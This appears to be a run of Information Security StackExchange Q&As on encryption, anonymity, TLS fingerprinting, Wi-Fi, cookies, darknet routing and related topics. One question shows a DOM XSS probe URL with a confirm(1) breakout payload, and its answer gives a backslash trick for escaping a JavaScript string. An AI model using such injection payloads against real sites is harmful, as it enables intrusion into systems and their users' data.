If you want to "share" the encrypted data with another entity, you usually make use of a hybrid cryptosystem. In the case of GPG, you will be encrypting the file without the --symmetric flag. What this does is encrypt the data with a randomly generated symmetric key. This randomly generated key is then encrypted with the public key of your target (the recipient in GPG-speak). The encrypted symmetric key is appended with the encrypted blob and sent to your target. Your target will then decrypt the encrypted symmetric key with his private key and use the decrypted symmetric key to decrypt the encrypted blob.


Where to publish security research? I'm considering doing some research in to an attack vector which I think doesn't get enough attention. It's not an earth-shaking vector but I think I can demonstrate an attack where none have been in the past.

But once I've done this, and I have (say) some demo code and a ten-page PDF, what would I do? How would I get this in front of people's noses? Could/should I just blast it off to some mailinglists and forget about it? I don't have much to my name (besides a few now-reported 0day) so I'm not sure I could start doing talks about it to the community, for example (although some youtube videos of demos might be useful?)

As I say, it isn't the next super-sexy sensation, but it is a new data exfiltration technique operating in a place which is currently overlooked.

Ideally, what I'd like out of it is better community awareness of attacks in this place, and another paragraph or two on the CV. Any ideas on how to get there from "I attacked X and got Y to happen"?

I can think of a few options.

You can try submitting it as a talk at a security conference or two. This is probably one of the best ways to get your research out there if it is semi interesting. Even if the topic isn't accepted for one of the main talks, many conferences have lightning talk sections where any attendees can go up and speak for a few minutes.
Publish the attack on your personal website/blog and submit it to r/netsec or Hacker News. This is pretty hit or miss though, there is no guarantee that people will see it due to the sheer volume on those sites.
Publish it on the Information Security Stackexchange blog! It is (relatively) high traffic, you can easily point to the blog post on a CV and you can guarantee that at least the regulars on the site will read it!


Online anonymity for a journalist in a dangerous country I am a journalist in a corrupt country. I am concerned that my online usage will allow my antagonists to track me down, and it wouldn't end very good.
I am aware that I may use TOR and VPNs, and chain them together, to obscure my network presence.
What else can I do to prevent my adversaries from identifying me?

(PS: This post is just a general discussion. I am in no ways enticing anyone to commit any crime!)

In order to be anonymous you really have to consider other things too, other than just using some tools while browsing the internet. Tor or VPN might help you to anonymize your identity online but have you considered being anonymous in your real(Offline) life.

Have you considered the fact that social engineering can also de-anonymize you or reveal your identity!
You just mentioned in your question that you are a journalist in some country and it would end bad for you. I don't know if it is true, but if it was true then you just revealed something about your identity here! I am pretty sure that this website has logged your public IP too.(It's different issue if you are using some proxy or not.) What if someone here on StackExchange had some suspicion about your this particular post and starts an investigation. He/she starts a discussion with you and finally get in contact with you. At last maybe it turns out that this user was one of the guys who were tracking you. (Perhaps one of that guys might have upvoted your question or my answer. :P )

Another example could be that suppose you use gmail for sending and receiving emails. Suppose in very begining you accessed your email account without using any proxy. So Gmail knows your actual public IP. The scenario would be something like below:

Scenario 1:

You(Public IP)   ---->   Gmail server

After some days you read that VPN or Tor will make you anonymous. So you started using Tor or VPN to access your email account. Now the scenario will be something like this:

You(Public IP)   ---->   VPN/Tor  ------->  Gmail server

Consider that you sent a threatening email to some VVIP. You think as you are using VPN/Tor you are anonymous. This VVIP has some decent friends in all three letter organizations(MI6, CIA, RAW etc...). Now they all are after you. They ask every email service providers to find who is the owner of this email address. The email service provider will have logs containing all the IP addresses you used to access your email. Then they find your original IP that you used in scenario 1. The very next hour you have some guys in black suits at your door.

I just gave an example of an email service providers. Consider the same for online shopping sites.

Suppose you shopped on Amazon to buy something using the same email address that you used to send the threatening email. You used Tor/VPN etc. to connect to the Amazon. It is very common that many users will give their home/company address for the delivery. Now maybe the 3 letter organization guys might ask Amazon to search the user profile for the person who has the email address that was used to send the threatening email. Amazon looks up its database and finds that you live at XYZ street!
Again you shall see your friends in black suits. :P

I know that the above scenarios sounds bit like a hollywood style, but just think about it, they can happen. It really depends how worth your are.(Sorry I don't mean anything to you personally) I mean to say how worth are you to the guys who want to find you. If you are really a worth and if the guys after you are powerful & intelligent, then beware. There could be thousands of ways to find you. If not you they will find some one close to you your parents, girlfriend or even your dog/cat.  On other hand you have to be very cautious about what you do and how you do and not make any mistake.

I am not trying to scare you from being anonymous. Also I am  NOT trying to entice you to do something that is against the law. If you feel that I have said something against your personality in my answer then I can assure you that it was unintentional.


How to verify the SSL fingerprint by command line? (wget, curl, ...) Using a command line website downloader, such as wget, curl or any other one... In a script...

I have the SHA-1 and the SHA-256 certficate fingerprint of a website. Due to security concerns (1) (2), I don't want to use the public SSL certificate authority system. The fingerprint must be hard coded.

Can a wget like application check the SSL fingerprint?

wget does not have such a functionality. (3)

Using wget --ca-certificate or curl --cacert I would have to run my own local certificate authority, which I'd like to prevent, because that adds a lot complexity. It's also ultra difficult and no one did that ever before. (4)

Isn't there any tool, like
download --tlsv1 --serial-number xx:yy:zz --fingerprint xxyyzz https://site.com?

The solution must of course not be vulnerable to TOCTOU. (5) The MITM could let return a valid fingerprint for the openssl client request and tamper with the following wget request.

NEW ANSWER:

Reviewing your link #4, it seems like you've investigated existing utilities and received the answer that what you want would have to be programmed.  Doing so is relatively trivial.  The following Perl script will do what you want:

#!/usr/bin/perl
# Code snippets taken from Net::SSLeay documentation and mildly modified.
# Requires a newer version of SSLeay (tested with 1.48)
# Needless to say, verify correct $host and $fingerprint before testing!!!

use Net::SSLeay qw(get_https3);

$host = "www.google.com";
$port = 443;
$fingerprint = "C1:95:6D:C8:A7:DF:B2:A5:A5:69:34:DA:09:77:8E:3A:11:02:33:58";

($p, $resp, $hdrs, $server_cert) = get_https3($host, $port, '/');
if (!defined($server_cert) || ($server_cert == 0)) {
    warn "Subject Name: undefined, Issuer  Name: undefined";
} elsif (Net::SSLeay::X509_get_fingerprint($server_cert, "sha1") ne $fingerprint) {
    warn 'Invalid certificate fingerprint '
        .  Net::SSLeay::X509_get_fingerprint($server_cert, "sha1")
        . ' for ' . Net::SSLeay::X509_NAME_oneline(
             Net::SSLeay::X509_get_subject_name($server_cert));
} else {
    print $p;
}

As is outlined in the Net::SSLeay documentation, this method means verification after the HTTP transaction, and so should not be used if you want to verify you're talking to the right server before sending them data.  But if all you're doing is deciding whether or not to trust what you just downloaded (which is sounds like you are from your reference #4) this is fine.

OLD ANSWER:

You can use openssl as described here:

To wit,

openssl s_client -connect <host>:<port> < /dev/null 2>/dev/null | openssl x509 -fingerprint -noout -in /dev/stdin

(Old answer was) Updated

As @Gilles has pointed out, this doesn't meet the requirement to combine the certificate verification with the actual content retrieval.

Because openssl s_client combines the certificate information and the server response into the stdout stream, it cannot be simply used for this purpose.  It is probably possible to write a script that would slurp up the combined output and separate the two based on some simple test parsing, but that's not exactly a turnkey solution.


Elliptic curve cryptography and key sharing I want to know if it is possible in Elliptic curve cryptography to have 2 parties holding a part of the private key. The idea is to encrypt (for DSA) data with the 2 sub keys without any of the party getting hold of the original private key.

For example:

Issue a private key
Split somehow the private key into 2 sub private keys
Encrypt data with the first key
Encrypt with the second key
The end result should be like if data was encrypted with the original private key

Is this thing possible? Ideally the 2 sub keys should be the size of the original private key and should not leak any information.

Thanks

edit: Sorry for not being clear, when speaking about encryption it was meant for DSA

With asymmetric cryptography, you normally encrypt with the public key, not the private key; with the private key, you decrypt. Moreover, asymmetric encryption is usually randomized, so it can be hard to tell that you get "the same result" than what you would have with a single private key, since you can actually get a whole range of values (which would decrypt to the same message, though). Maybe you want to speak about signatures ?

In any case, there are a lot of possible protocols for multiparty computations (that's the term for that kind of things). See this site for a lot of links. In your case, I suppose that you have two parties who need to use a private key so that their combined actions are equivalent in some sense to what could be achieved with a single secret value, that neither knows. Protocols which achieve that depend on the exact extent of the knowledge and action of both parties:

Are the two key holders considered to be potential active attackers, or only passive ? I.e. do we want to protect the secrecy of the scheme if one of the parties begins to send incorrect, carefully crafted messages to the other ?
What is the level of control that the key holders have on the input data ? Can they modify it in some way to reveal information about the the other key half ?
Should each party be able to ascertain that the other party played the protocol faithfully ?
Should such a proof be discloseable to a third-party without revealing anything about the processed data or the keys ? (This is the kind of proof that is very important in, for instance, e-voting protocols.)
What can the key holders be allowed to do ? E.g., if they can encrypt, is it OK if they can also decrypt (assuming they collaborate to the task) ?

As an illustrative example, suppose that you have an elliptic curve E with prime order n. Parties A and B knows secret keys a and b respectively; both keys are chosen uniformly in the 1..n-1 range. Suppose that you can map some input message m into a curve point M. Then A may "encrypt" the message by multiplying M with a; similarly, B multiplies points by b. If both A and B process the message in due order:

A receives M and outputs aM.
B receives aM and outputs (ba)M.

The final result is then equal to (ab)M, the result of the "encryption" of M by the key ab (product is modulo n), that neither A or B knows. It can be shown that A cannot learn ab regardless of what he sends to B; and the same applies to B if B is the villain. Of course, if A and B reveal their private keys to each other, then they can compute ab.

(This is an elliptic curve variant of the Pohlig-Hellman cipher -- not to be confused with the other Pohlig-Hellman algorithm. It is also known as SRA.)


Passing data among 3 parties with public key encryption There are three parties involved in a repeated data transfer process: Client C, Broker B and Provider P. There might be multiple clients C.

Broker B manages P's customer database. Each customer has a unique National ID numbers.

Client C can send requests to retrieve information of a customer ID from P's customer database (which B manages).

The requirement is: B must not know customer IDs, even though B manage's P database and information requests from C.

In other words:

P can share data with Broker B without revealing customer IDs (e.g., encrypt the customer ID with a public key).
C can query P's data that B manages, by sending the encrypted customer ID to B.
B can match C's encrypted ID with P's encrypted key to locate a consumer record.
B cannot brute-force attack the encryption to learn about true customer IDs.

We plan to assign P a public key. P uses this key to encrypt customer IDs of the data that B manages. C uses this key to encrypt customer IDs that are need to be queries.

The number of unique customer IDs is ~ 10 billion numbers. Therefore, it's quite fast to brute-force attack this list of 10 billion numbers.

My question is: Is there a deterministic public-key solution that satisfies (1), (2), (3), and (4).

If it isn't required that you can decrypt the customer ID, then I believe that you can use an HMAC. You create a shared secret between C and P. This should be a really nice long shared secret. When you go to store a customer ID you store HMAC(SECRET, CustomerID). When C wants to look up a record it performs the HMAC and passes the result to B who can do the DB lookup.

You are protected from pre-computation attacks because you have used a very long shared secret (let's say 1024 bits but less may be secure - others maybe can help you).

Likewise, the long secret protects you from brute-force attacks.

I believe that this securely satisfies (1), (2), (3), and (4). Of course, if you need to be able to go backwards from the hashed ID to the actual ID, this doesn't work. I know that you don't specify that requirement in your question but maybe you assumed it was obvious.


Base64 encoding of a SHA256 hash I'm currently reading up on JWTs and have written something to create them. When I created my JWT I noticed that my signature was not being encoded properly.

For instance, given the hash

9B2317C2C941A179130D0D28961AB542C88745658BE328F557422EA0AF8F60E8

My code produces

OUIyMzE3QzJDOTQxQTE3OTEzMEQwRDI4OTYxQUI1NDJDODg3NDU2NThCRTMyOEY1NTc0MjJFQTBBRjhGNjBFOA==

What I'm expecting to get is

myMXwslBoXkTDQ0olhq1QsiHRWWL4yj1V0IuoK+PYOg=

Why are encoded hashes so different and what am I missing?

You are doing a conversion from hex encoding (or base16 if you like) to base64. So you are base64 encoding the ASCII characters 9 (57), B (66) and 2 (50) giving you OUIy.

What you should be doing is base64 encoding the raw bytes. So you should encode 0x9B (155) and 0x23 (35) giving you myM.


WebRTC P2P SSL - Where are the keys generated? My understanding is that with the WebRTC peer-to-peer data API, communications between peers are encrypted via a modified form of SSL. Where are the keys for the peer-to-peer SSL connection generated, though? On the original web server that unites the peers, or on the peers' computers?

Update:

Also, assuming that the JavaScript delivered to their browsers is not already siphoning off their data, I'd like to know if the original uniting web server has enough information (keys, etc) to eavesdrop on the united peers encrypted communications, if the traffic was recorded, for instance.

You are right encryption is mandatory for all WebRTC communications. All the communications are encrypted using Datagram Transport layer Security (DTLS), which is a derivative of SSL.

DTLS is build in to all browsers that support WebRTC. In short the the keys for the peer-to-peer SSL connection  are generated by the peers and exchanged over the signalling protocol.

The Peers use a self signed certificate (asymmetric-key) based on RSA to exchange the symmetric keys they will use for the communication. The peers use Diffie-Hellman to generate symmetric keys.

For more details information see the following post


Does WPA PSK/Personal break PMK? I am not sure about the difference between WPA-PSK TKIP and WPA-Enterprise TKIP key generation.

Do they both generate same keys from PMK, but for different purposes or are they created through a totally different process?

The PMK is used the same after generation, however they are generated very differently. With WPA-PSK the PMK is generated from the PSK, fundamentally if one knows the PSK one can access the network. With WPA-Enterprise this is a little different as 802.11x does EAP authentication to a RADIUS server and then the RADIUS server gives the PSK in the parameters it sends back after successful authentication and can give a different one for each authentication, therefore every client is using a different PSK, and each session can give a new PSK.


Why do WiFi devices broadcast? I may be missing something about how WiFi and networking in general works, but I do know how WiFi device tracking works.

When eg. an Android phone has WiFi on, it's sending a ping/broadcast message every few seconds. Using this message eg. retailers can track the location of the device by triangulating the message between multiple wifi hotspots.

My question is, why does the Client broadcast this message at all? Why is it not only the access point that sends the "I am here, connect to me" messages. There should be no WiFi traffic from my device until I try to connect to something, and yet it gives away my location and device id every few seconds.

You could then do the reverse only for hidden SSID networks, and encrypt the probe with something unique to that network and time, only sending a probe in the current style when you set up the network the first time.

This would stop the real time tracking of specific devices, no?

It's more efficient.
Your device can either perform an active or a passive scan. In a passive scan, the device waits until it captures beacon frames from access points that advertise themselves. In an active scan, you are sending probe requests yourself and wait for APs to respond - this is what most smartphones do.
Passive scanning should be the preferred method in terms of security since it is entirely anonymous, not broadcasting any information about the device. But it also has a negative impact on performance and latency:

The beacon (by default) is only transmitted every 100TU (102,400μs). To have some hope of hearing most Access Points, you’ll need to wait for 2 beacon intervals – say 102,400μs x 2 per channel. We have 12 (or 14 in some areas) channels in the 2.4Ghz band, so a full scan would take 102,400μs x 2 x 12 = 2,457,600μs or about 2.5 seconds.
During this time, the receiver is in a high power usage mode – so battery life is negatively impacted and power usage for a wifi adapter sky-rockets. Sure, you can only run a scan lets say, every 30 seconds – but that still means you have the receiver powered up for 5 seconds out of every minute.

Active scanning is more efficient:

The power requirements are much lower – after the initial probe request, the adapter only listens for a fraction of time compared to a passive scan (although this varies per manufacturer and driver).

(Source)
Besides performance problems, hidden networks that don't send beacons regularly also wouldn't be picked up at all. For devices that use wifi information to enhance the location services (like Android does), active scanning presumably also increases the accuracy.


Why the Websense blocks same site when used with http & not when used https? I have been working in a IT firm. I have access to some social sites. When I try to open site Links in mail (that are having http://), the websense prompts me that the access is blocked.
However, when i try to open same site using https, it opens without blocking ?

"Websense" is a number versions of several different products, and without knowing which one is in use, I can't say for certain what the reason is that HTTPS connections are getting through.  However, there are a couple of likely candidates:

1) Some Websense software does not have HTTPS proxy capabilities.  Without this ability, the Websense software cannot read the requests to see what page is being requested.  All it can see is that a connection is being made to a given IP address, which greatly limits the ability to filter (it can only filter by physical server, not by domain or URL).

2) Other Websense software can proxy HTTPS connections, by providing its own SSL certificate and acting as a man-in-the-middle attacker.  In this case, HTTPS connections aren't being filtered because the software simply hasn't been configured to do so.


Asynchronous vs. Synchronous authentication process I'm currently developing a web application using Node.js (server-side JavaScript) and MongoDB (NoSQL database).

I'm at the stage where I have to design the authentication and I had a question about asynchronous programming.

One of the advantages of using Node.js is that everything can be programmed to be asynchronous and thus non-blocking when doing I/O operations.

In the case of authentication, should I write everything synchronously?

I'm afraid that an attacker could spam my server with requests that would lead to the creation of duplicate accounts (or other objects) and maybe security issues later on.

MongoDB doesn't support transactions like SQL.

Am I right to worry about asynchronous authentication processes?

Handling the requests synchronously on an event based server leaves you open to easy DOS, and certainly has a very negative impact on performance. Regardless of what type of server you use, a robust authentication system should provide some protection against brute force scanning.

The most common practice I've seen for protecting against brute force scanning is to disable an account after a certain number of failed logins - which, IMHO, is a DOS itself. A more practical approach is that implemented by fail2ban - after a certain number of failed attempts from a particular remote address, that address gets a temporary ban at the firewall.

The solution I've used in the past is to implement short queues for mutexes on the username and source IP address - the authentication is not tested until a request has both mutexes. If either queue is full then the request is failed immediately. This still provides some scope for DOS, but its scope should be far better contained.

All of these can be handled asynchronously.


Is this javascript vulnerable to dom based XSS? I was testing example.com and i found a js reflection point. If i send the following request:

https://example.com/?token=test%22test="'-confirm(1)-'

I can see the following in server response:

<script nonce="">
window.meta    = {
"token": "Token\"xss=\"'-confirm(1)-'",
"dToken": "dt\"xss=\"'-confirm(1)-'",
"Id": "11"
</script>

Is this code vulnerable to Dom Based XSS? If yes, which payload could i try to trigger an alert box?

I already tried to close the </script> tag but < and > are filtered.

No it's not vulnerable to XSS based on the provided information. The interpolated URL query parameter token has quote marks escaped (\" instead of just ") so you cannot break out of the string. Because of this it is impossible to inject executable code, opposed to simply changing the content of a JavaScript string variable.

As you pointed out, it is also impossible to close/reopen the script tag.

As noted in the comments, if backslashes are not escaped (which we don't know), you can use an additional \ to escape the first backslash of \" so that it becomes \\" in which case you can break out of the string because the " character is now no longer escaped.


How safe is to have a LinkedIn account where you have published all the important information about yourself? How safe is it to make your information public? I know that there are many risks from social engineers' side, if you put everything about yourself a hacker will have most of the information about you which you gave them by yourself like people do all the time on Facebook or any other social media.

I wonder how do cyber security experts and those kind of people prevent it and keep themselves safe? is it just an own risk issue?

The concept you are looking for is "digital footprint" and it goes far beyond any one social network.

Any information that is public can be used against you. You have to make an assessment about the risk/reward of making data public, and once it is public, you have to treat anyone using that information as public, too. Too often people think that if someone knows something about them, then they can be trusted, an "insider".


Setting httponly secure cookies in microservice architecture I have read that storing the jwt token within the httponly secure cookie is the recommended way to prevent both csrf attacks and xss attacks.
When a user goes to my website they may make an api call like so
POST mygatewayproxy.example/login-service/login

and the request is proxy to the loadbalancer
POST my-login-service-lb.example/login

and finally it hits my service
POST login-service-1.example/login

Can I set an httponly strict secure cookie within my service login-service-1 to a different domain value "mygatewayproxy.example"? My intent is to set the jwt token within the httponly cookie to be used later when making requests to other services.
If the above is possible can I then do the following
when a user goes makes a request to a different service
POST mygatewayproxy.example/different-service/req

and the request is proxy to the loadbalancer
POST different-service-lb.example/req

and finally it hits my service
POST different-service-1.example/req

Will different-service-1.example have access to the httponly cookie with the domain mygatewayproxy.example? Or put another way, will the browser send cookie to my different-service-1. I would like to verify that they are signed in and authorized but this is only possible if a cookie that was set in the login service is sent to this service.

One cannot set a cookie to a different domain, except for a different subdomain.
But in your specific scenario the users browser only connects to mygatewayproxy.example and does not see any of the internal domains in the first place. This means the browser will only accept a cookie for mygatewayproxy.example or subdomain. If no domain is explicitly set on the cookie this current domain from the perspective of the browser will be implicitly used as cookie domain.
This also means that any cookie set by login-service-1.example will also be send to different-service-1.example since from the perspective of the browser all these domains are only visible as mygatewayproxy.example.


What are darknets, and how can they be used to provide security and anonymity in network communication? One of the major problems with the internet is that it's difficult to stay anonymous while retaining the ability to communicate with a large number of people. While encryption can be done effectively at the application level to prevent eavesdropping and MITM attacks (like TLS for HTTPS), staying anonymous can be a much bigger challenge.

A VPN with an off-shore provider can help provide individual anonymity for general internet use, but you're still at the mercy of a service provider who could be forced by authorities (or anybody with a big gun) to record your actions.

Additionally, VPNs are highly centralized; if you want to communicate with your friends, you must all connect to the same server, which provides poor redundancy (if the server fails, you're SOL) and poor security (only one server must be compromised). VPNs also don't scale well to hundreds or thousands of users, especially when your users are paranoid and don't trust the people they want to communicate with.

There have been numerous attempts to start peer-to-peer networks called "darknets". For example, just last year, some users of Reddit started the Meshnet Project in an attempt to create a network resistant to interference by governments and ISPs.

What exactly is a darknet, and how can I use one to ensure my anonymity and privacy while using the internet?

As someone who has been heavily involved in one darknet (Anonet) and helped start another (Underlink, which is now mostly defunct), I will attempt to share my experiences and understanding of them here. Please feel free to edit this answer to provide additional details or to correct anything.

Definition

"Darknet" is a tricky word that has a few different definitions, the most general of which is a private network with internet-like routing between peers. This is a very broad definition; darknets vary greatly in their structure. Some examples of darknets include:

Anonet and Anonet6, an IPv4 and sister IPv6 darknet with the goal of being completely decentralized and anonymous
Underlink, an IPv6-only darknet built by former Anonet members, with a focus more on hobbyism rather than complete anonymity, and was more centralized than Anonet.
Seattle Wireless, a meshnet1  operating in the Seattle area.
Tor is a not like the sample darknet I will describe below, but falls under the definition of a darknet, as it is comprised of a series of exit nodes that route traffic2.

What a Darknet Provides

As the question notes, it's difficult to remain anonymous on the internet while retaining the ability to communicate with a large number of users. On the internet, every website you communicate with receives your ISP-issued IP, which gives them your approximate location, and can be used with at least some reliability to track your actions.

By contrast, darknets allow you to use an internal, non-globally routed IP address when accessing resources hosted on the darknet. Participants in the darknet, excluding your direct peers, will never be able to see your real IP address, but will still be able to communicate with you using virtually any peer-to-peer application (HTTP, email, BitTorrent, FTP, SSH, ...).

An Example Darknet

I will describe an example darknet. This should be enough detail for you to at least get started in forming your own darknet. You will, however, need to do additional research. There are many approaches to structuring a darknet, and you will want to make informed decisions as you plan yours out. Darknets are a great way to learn more about networking. I highly recommend participating in one to anybody interested in the topic.

Peerings

Darknets, like the internet, are built on the idea of peerings. Anyone interested in joining the network's routing infrastructure needs to peer with one or more existing participants on the network. This forms a redundant web of participants, allowing the network to expand.

In order to peer with somebody, all you really need is a direct connection to them (and their cooperation). You can connect an ethernet cable from their machines (or routers) to yours, or you can setup a virtual ethernet tunnel using VPN software3. The benefit of using virtual tunnels instead of physical infrastructure (ethernet links, wireless connections) is that your network can span the globe easily and cheaply. Using physical links limits you to participants in your physical area, limiting the potential size and adoption of your darknet. The main disadvantage of using virtual tunnels is that you remain dependent on ISPs and governments allowing you to have access to the internet4.

Routing

Assuming that you have managed to connect two machines together, I will now explain the most important component of a functioning darknet: routing. There are several types of routing you can use. Tor, for example, uses onion routing. For the sake of this example setup, though, we'll use a more traditional routing scheme: BGP routing5.

In a BGP routing setup, each participant is an "autonomous system" (AS). Each AS has its own set of IP space to do whatever it wants with. These ASes are identified with a number (an "ASN"), which is unique across the entire network (the internet or the darknet, depending on the context). You can see a list of AS numbers in use on the internet here.

Let's say I want to peer with my friend, chris (I am lex). We each have picked an AS number (I am 3090, chris is 404). In order to peer, we need to do just two things:

Establish a connection between our routers (often VPSes or generic Linux boxes hosted at some datacenter). We will probably use a virtual tunnel (VPN) to do this.
Configure our BGP daemons to advertise our peering to the rest of the network, and to establish routing with each other6.

Each network participant will typically want to have multiple peers to provide redundancy. This is, however, a security risk, because each peer will know your true IP address. As such, you want to peer only with people you trust (not just trust as a person, but also trust to keep their machine secure from hackers or the authorities to protect your identity).

A sample network map will look like this (this is an old visual map of the actual BGP setup on Anonet6):

Each bubble represents a participant doing routing on Anonet. Typically each machine here would get a /24 (the above map is of ano6, but I'll use IPv4 terminology because it's easier to grasp for more people), and be free to assign addresses inside that however it wanted; that machine would handle final routing for them.

So let's say that I am AS3090 (lex, in the middle). AS3090 is actually a dedicated machine in some datacenter. For convenience, all of my personal computers connect to my server using some standard VPN software (OpenVPN, in this case), and are given addresses on AS3090's /24. This way, my laptops/tablets/desktops, which don't have static IPs, don't have to worry about peering. They let the dedicated server handle that for them.

If one of my machines connected to AS3090 wants to send a packet to a machine in AS31416 (far right of the map), it has a few simple options:

AS3090 (lex) -> AS1112 (UFO)     -> AS31416 (JCS)
AS3090 (lex) -> AS404 (chris)    -> AS31415 (JCS) -> AS31416 (JCS)
AS3090 (lex) -> AS404 (chris)    -> AS405 (chris) -> AS31416 (JCS)
AS3090 (lex) -> AS2323 (achedaz) -> AS1112 (UFO)  -> AS31416 (JCS)

(this is just a subset of possible paths)

This is all part of the BGP routing framework.

The first path in my list is the shortest (in number of hops, not necessarily in terms of latency, since each hop could be, and often is, located on a different continent), so the packets will take that path there. The response packets may well take a different path back, but that's not important; as long as the packets get to the origin, the two machines can still talk. It's not uncommon to see outgoing packets leave on one interface and responses returning on a different interface. Your OS won't care.

The beauty of this setup is that it functions just like the real internet (in fact, core parts of the internet use BGP routing just like this). If AS3090 (lex) loses its connection with AS1112 (UFO), then the packets will automatically choose a different path to AS31416. It's redundant in this way.

Why This Provides Anonymity

This also makes darknets very good for anonymity. If I am AS12345 (dBZ, top middle), the only person on the entire network who knows my true IP is my only peer, AS1 (r101). The rest only see my internal IP inside AS12345's subnet. For authorities, or anybody else, to find out AS12345's location/IP, they have to follow the chain of peers and break each one to find out who they're connecting with. This can be extremely expensive on large darknets, since peers often cross borders (in Anonet, we often planned out to cross borders to make it especially tricky).

Growing Pains

This stuff is pretty easy once you understand it. The hard part in growing a network like this is that it's decentralized. Anonet split in half multiple times during its life. The peering between AS3090 (lex) and AS757 (Vutral) could break at any minute, and those two halves of Anonet would completely cease to be connected. But the people in each half would still be able to talk to eachother. You can cut the darknet in half and it still survives.

Typing in a friend's IP address to access their services (websites, file sharing, whatever) isn't fun. You want DNS, right? Well, that requires some central authority to make sure nobody is infringing on eachothers' claims. On Anonet, the way we "solved" that was with something called "resdb": a git repo containing a set of claims. Anybody could make claims and commit changes. The key was to get others to accept your changes into their copy of the git repo. This meant that different people had different versions of the repo, so for some people a domain doesn't exist, for others it does, and for others it might exist but point somewhere completely different. (resdb contained a set of files and scripts to generate zone files for BIND and similar so that anyone could run their own DNS server for the ano. TLD).

But you don't just need DNS reservations to be unique. IP allocations should be unique, too. Wouldn't we all like to be 172.16.0.0/24? If multiple people are using that, we get conflicts, which means that those go in resdb as well and you need to convince people to accept your claims. You also need to handle AS number reservations and a dozen other things that ICANN handles on the internet. It turns into a big mess and it's very hard to scale since there is no central authority which has the final say on reservations.

I can't stress enough how big of a mess resdb ended up being. Underlink attempted to solve these problems by sacrificing some of the decentralization of Anonet for the sake of convenience. There was a central authority that handled DNS registrations and ASN/IP allocations, and it worked pretty well for Underlink's short life (about a year). Underlink never took off, but I do think its model is preferable in many cases. It all depends on the central authority remaining benign and secure. The whole reason we started a darknet was that we didn't want to live under ICANN's rules. Both approaches clearly have merits.

Conclusion

I hope this gave you a bit of an idea of what a darknet is. Again, this is not a full definition, it's just based on my experiences, and a lot of it isn't really relevant to your goal. I know, for example, that some people have attempted to create darknets by using consumer routers flashed with DD-WRT (to connect geographically close peers together) rather than using the existing infrastructure on the internet.

If you have any questions, please feel free to ask for clarification. I'm no expert, but I have played around with this stuff quite a bit just out of pure interest.

If you have knowledge to add, please go ahead and edit this response. I've made it community wiki to encourage that.

1. A meshnet is usually defined as a darknet that operates over participant-controlled physical links, such as broadcasting wireless routers or physical network cables. By contrast, most darknets use the existing infrastructure of the internet, connecting peers via virtual tunnels (VPNs) instead of physical links. Meshnets are thus much more limited in size, but they do provide additional benefits.

2. This is a pretty big simplification as I'm not entirely familiar with how Tor operates, and the rest of this post is focused more on a traditional darknet that uses internet-like routing rather than onion routing.

3. In the past, I have used QuickTun, SigmaVPN, and OpenVPN. Really, though, any software which allows you to have a virtual ethernet tunnel with a remote machine will work. It doesn't even have to encrypt the connection (but this is a really good idea, and all of the software examples above do provide encryption).

4. While your ISP or government won't easily be able to tell you are participating in a darknet if you use encrypted tunnels (all they will see is an encrypted VPN connection), it will probably look suspicious, and they could certainly prevent you from making the initial VPN connection.

5. BGP routing is used in many darknets, including Anonet and Underlink. Onion routing, and other more exotic routing schemes, do have their merits, but they can make it a lot harder for people to join your network (support for BGP routing is widespread and standardized, since it's what the internet uses). BGP routing is both redundant and can provide decent anonymity, so there's no reason to write it off, but looking at alternatives isn't a bad idea.

6. An example BGP routing configuration for a peering looks something like this:

protocol bgp bgp_chris_underlink_core
{
        table underlink_core; # routing table

        local as 3090; # my ASN
        neighbor 172.16.10.1 as 404; # partner (chris') IP address for the virtual tunnel interface, and his ASN
        source address 172.16.9.1; # my IP address virtual interface

        # a series of filters to ensure chris can't send me bad routes
        import filter underlink_filter_core;
        export filter underlink_filter_core;
};

This example uses bird, but other BGP daemons will be configured in a similar way. I have only used bird, but there are many variaties of BGP routing software available. Since it's a standardized protocol, it's not necessary that you and your peering partner use the same BGP software. You could even use an enterprise-grade router with a proprietary BGP client against his $15/m Linux VPS running bird.


MITM vs. data leakage We are designing a web API - accessible via https only - but two schools of thought seem to have arisen among our team:

Group 1 wants to adopt an approach that is more concerned about data leakage than MITM attacks:

Passwords will be sent in the clear in requests (but a MITM would therefore be able to recover a user's password).
Passwords will be obfuscated in a non-reversible way in the DB (bcrypt).

Group 2 feels that the risk of a MITM attack outweighs that of data leakage. Therefore:

Passwords will be sent in requests in digest form, so they cannot be recovered by a MITM.
As a result of using digests, the original password needs to be recoverable on the server so the digest can be recreated. Therefore passwords will be stored encrypted in the database.

While total security is obviously impossible, is there a third way that can have the best of both worlds? While Group 1's approach seems pretty orthodox, how common is Group 2's?

MITM attacks are effectively thwarted by HTTPS.

Since transport-level security can effectively protect you against eavesdropping and malicious interception, you should use TLS as your transport and focus your on securing the data at rest.

Group 2 was an popular about 20 years ago; it got some traction in the mail authentication world for a time, but with the popularity of SSL has declined significantly.

Group 1 is what everybody does today. In fact, it's a requirement of many standards.


Is it safe to use Dropbox in its present state? For the record, I understand that absolutely no service is safe, and "the only way to keep a computer from getting hacked is to never connect it to the network". So, we've got that out of the way.

I wanted to understand the Dropbox has started encrypting its data-at-rest with 256-bit AES encryption. So, my simple question is, do we still need to encrypt our Dropbox contents with TrueCrypt?

Are there any real advantages in terms of security/encryption in using Dropbox?

It does not matter much how the data are encrypted as long as the owner of the data is not the only one in control of the encryption key. This in effect means that data encryption and decryption should only be done at the client and only in a safe environment where only trusted software is running. This is not the case with Dropbox: Dropbox has access to the plain data both from the Dropbox client running on your system and on the server side before encrypting for rest. Also Dropbox can decrypt the data whenever they want because they have access to the encryption key. And they will do it for sure and without you noticing when law enforcement requires it.

Whether you consider this safe enough for your own use is your own decision.


Access rights management in large companies I'm wondering how large companies with tens / hundred of applications are handling access-rights for their users. From what I've seen, it's a nightmare that never ends, and it requires full-time resources for a poor result.

I'm not looking for specific examples of IAM solutions, but more generally, what are the different options for doing that, from defining the roles and accesses to implementing, modifying and reviewing the privileges on the systems.

Also, are home-made solutions with connectors to all the applications used in the real world, or would that just be another pain in the neck to develop and maintain ?

Larger enterprises go through centralized initiatives led by the infrastructure team - the very same team that typically manages authentication. To make sure the access rights management works and scales correctly, many turn to standard architectures such as the one pue forward in XACML and older specifications.

This architecture defines the notion of:

policy enforcement points (PEP) responsible for protecting your app. These could be web access management gateways, API gateways, and more.
a central policy decision point (PDP) which processes authorization requests and produces an authorization decision
a central policy administration point (PAP) used to define and manage authorization policies.

To learn more I would recommend you turn to the NIST reports on RBAC and especially ABAC:

NIST RBAC
NIST ABAC

